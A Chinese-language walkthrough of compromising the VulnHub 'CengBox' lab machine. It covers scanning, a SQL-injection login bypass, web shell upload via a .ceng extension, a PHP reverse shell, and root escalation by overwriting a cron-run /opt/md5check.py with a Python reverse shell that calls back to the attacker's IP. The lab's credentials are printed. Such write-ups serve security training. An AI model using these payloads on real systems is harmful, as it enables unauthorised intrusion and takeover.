vulnhub靶机-cengbox

1、使用netdiscover扫描一下靶机ip：192.168.0.107

2、nmap扫描一下目标开放端口：22、80

3、访问80端口，没什么有用的信息，直接用kali自带的dirb扫描目录

dirb http://192.168.0.107 /usr/share/wordlists/dirb/big.txt

4、看着masteradmin和uploads两个目录有点可疑，猜测masteradmin应该是管理后台，uploads应该是个保存上传文件的目录，应该是需要上传文件，两个直接访问都是403，所以进一步扫描masteradmin目录下的页面

dirb http://192.168.0.107/masteradmin -X .php

5、一共扫描出了三个文件，db.php--猜测应该是存放连接数据库的信息，login.php，upload.php--应该是上传界面，应该就是要访问这个界面了，直接访问提示需要登录，跳转到login.php

6、看到这种输入框，先测试一下万能密码和弱口令，发现admin'or 1#成功登录，所以这里是存在sql注入的，可以使用sql注入出用户名和密码

后台账号密码masteradmin/C3ng0v3R00T1!

7、进入后台之后，需要我们上传一个文件，选择一个木马文件上传，表面没有什么提示，其实使用ctrl+a全选，就能看到提示信息，说需要上传一个ceng文件，也可以使用burp的重放功能

于是将文件名修改成shell.ceng重新上传

8、这里只是提示success，没有说保存路径，猜测是之前的uploads目录，访问之后是一片空白，猜测被当成php成功解析，传个参进去发现执行成功，这里猜测应该是有个.htaccess文件做了配置

9、直接蚁剑连接，可以查看下有没有.htaccess文件证实一下猜想，发现确实是有，而且内容也是将ceng后缀解析成php格式

10、其他的就没有发现什么有用的信息，于是想到之前的db.php文件，试着进入数据库看一下

mysql数据库账号密码：root/SuperS3cR3TPassw0rd1!

11、这里直接使用蚁剑的虚拟终端连接加密码，会出现警告，说密码不能直接在命令行，MySQL 5.6 版本对安全性进行了增强,如果在命令中使用了 -ppassword ,就会有告警提示。

mysql -uroot -pSuperS3cR3TPassw0rd1!

于是替换成

mysql -uroot -p

这样还是不行，会报错

想要提权到tty试试，但是蚁剑的虚拟终端似乎不行

12、反弹shell再试试，用蚁剑上传php-reverse-shell.php，kali开启监听，访问页面，成功反弹shell

http://192.168.0.107/uploads/php-reverse-shell.php

python没有，使用python3提权

python3 -c "import pty;pty.spawn('/bin/bash')"

13、再次尝试连接一下mysql数据库，成功连接，这里虽然弹出警告，但是还是能够连接成功，说明之前应该只是不能输出这个结果

14、查看一下数据库和表，cengbox数据库的admin表，也就是我们之前sql注入出的数据

15、尝试一下使用这个密码登录，所以需要登录的用户名

cat /etc/passwd|grep /bin/bash
root
cengover

16、尝试之后使用cengover/C3ng0v3R00T1!成功登录，可以直接在这里su cengover切换，但是这个体验感极差，可以使用ssh登录

查看下家目录下有没有什么提示性的文件，就一个user.txt文件，也没给什么信息，也没有找到可以提权的命令

17、这里需要使用pspy64查看后台进程

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64

发现有个可以的进程，uid=0（root）执行/opt/md5check.py文件

18、修改该文件内容为反弹shell的脚本，本地开启监听，稍等一会就能接收到反弹的shell

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.109",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' > /opt/md5check.py

查看root.txt文件，大功告成

19、记录一些小工具：

pspy64
revshellgen
sqlmap burpsuite co2

下一篇写cengbox2